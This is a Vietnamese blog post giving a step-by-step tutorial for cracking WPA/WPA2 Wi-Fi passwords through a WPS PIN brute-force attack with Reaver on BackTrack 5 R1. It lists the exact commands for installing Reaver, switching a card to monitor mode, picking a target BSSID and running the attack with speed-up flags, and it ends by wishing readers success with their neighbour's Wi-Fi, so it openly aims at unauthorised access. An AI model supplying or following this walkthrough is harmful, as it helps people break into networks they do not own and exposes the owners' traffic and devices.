hack wifi WPA2 va WPA bằng phương pháp Pin WPS Attack với BACKTRACK 5R1

Chào các bạn, mình đã onl trên nhiều diễn đàn và thấy các bạn thường đặt câu hỏi về vấn đề hack password wifi !!! Nhưng đa số các diễn đàn đều hướng dẫn hack bằng phương pháp Dictionary Attack !! Nhưng theo mình phương pháp này có rất nhiều hạn chế:
Thứ nhất: để kiếm ra được một cái từ điển để xài là cả một vấn đề 
Thứ hai : Phần trăm thành công phụ thuộc vào may mắn rất nhiều vì password phài có trong từ điển mới hack được nếu không có thì chịu 

Sau đây mình xin đưa ra phương pháp Brutal Attack sử dụng reaver 1.4 trong phiên bản back track 5 R1
Trước tiên các bạn download back track 5 R1 tai đây :http://www.backtrack-linux.org/downloads/
các bạn nên chọn file iso ( download bằng torrent thì tốc độ nhanh hơn )
Sau khi dowload xong thì các bạn hãy tạo boot tren usb or DVD, xem hướng dẫn chi tiết tại đây :http://www.backtrack-linux.org/tutorials/

Ta tiến hành crack qua 4 bước:

Bước 1 : cắm usb or DVD mà bạn đã tạo file boot vào bắt đầu. Trong quá trình back track sẽ hỏi bạn muốn chọn chế độ boot nào các bạn hãy chon :BackTrack Text - Default Boot Text Mode

Bước 2 : cài reaver 
reaver không có sẳn mà bạn phải tự update và cài đặt: 
Các bạn hãy kết nối internet để có thể update và cài reaver
Rồi bạn click vào Terminal có trên thanh menu bar Or chọn Applications > Accessories > Terminal
Sau đó các bạn gõ lệnh : apt-get update
ngồi đợi update chừng 5 phút, sau đó gõ lệnh : apt-get install reaver
nếu mọi việc diễn ra tốt đẹp thì chúng ta hãy qua bước kế tiếp.

Bước 3 : chuyển chế độ card mạng để chuẩn bị hack 
Các bạn hãy gõ lệnh : " iwconfig " để tìm tên của card mạng .Nhưng đa số các card mạng latop đều tên là "wlan0"
sau đó hãy chuyển card mạng của bạn qua chế độ monitor mode bẳng lệnh : " airmon-ng start wlan0 "
khi bạn thấy trên màng hình hiện lên : monitor mode is enable on mon0 là thành công.


Tìm BSSID của moderm mà bạn muốn tấn công bằng lệnh : "airodump-ng wlan0" nếu không được hãy thử "airodump-ng mon0"
khi đã tìm thấy BSSID của moderm mà bạn muốn hack thì bấm CTRL+C để stop 

Bước 4 : tiến hành crack : 
gõ lệnh : reaver -i mon0 -b BSSID -vv ( BSSID của moderm mà bạn muốn hack )
vd : "reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv"


sau đó hãy ngồi đợi và khi thành công thì màn hình của bạn sẽ báo : " key cracked in...... seconds " và dòng WPA-PSK chính là password 

Cách thứ nhất : reaver sẽ mặc định 1 second delay giữa các lần attempts ma pin.Bạn có thể chuyển thời gian delay về 0 second .Hãy sử dụng câu lệnh : " reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0 " tuy vậy có một số trường hợp không thể sử dụng như vậy được

Cách thứ hai : cách này giúp reaver sử dụng một small diffie-hellman secret numbers in order to reduce the computational load on the target AP. Câu lệnh là : " reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small "

lưu ý : thời gian crack phụ thuôc vào cấu hình máy tính của bạn mức độ sóng ! các bạn nên crack những wifi có sóng khoảng 50% trở lên thì reaver mới làm việc tốt và hiêu quả . Cách trên có thể crack được cả WPA2 và WPA. Mình đã crack thành công password (WPA2) 11 kí tự với mức sóng 54% , trên latop ACER ASPIRE 5575G với thời gian là 8 tiếng chạy liên tục
Trong quá trình chạy có thể phát sinh lỗi các bạn hãy lên http://www.backtrack-linux.org/forums/forum.php để hỏi và tham khảo. Mình làm biến nêu ra 
Bài viết trên mang tính chất tham khảo và chia sẽ kiến thức cũng như kinh nghiệm mà mình đã tham khảo trên trên mạng. Hãy thanks nếu các bạn thấy có ít !! và nếu có sao chép để chia sẻ thì nhớ ghi rõ nguồn nha  
chúc các bạn thành công với wifi hàng xóm.
hiện mình đang tìm hiểu cách sử dụng GPU crack thay CPU vì nghe đồn nó nhanh hơn !! Nếu bạn nào có kinh nghiệm thì xin share cho mình với thanks !!

sau đây là video crack bằng REAVER của bạn trên mạng !!! bạn này xài reaver 1.1 nhưng theo mình biết thì bản reaver 1.4 là mới nhất !!!! khi bạn coi clip có thể bạn thấy bước 2 của mình và người kia có phần khác nhau các bước sau thì giống nhau !!!! 
http://www.youtube.com/watch?v=9799cMWbZYc

Share :

Tweet

✚

Related Post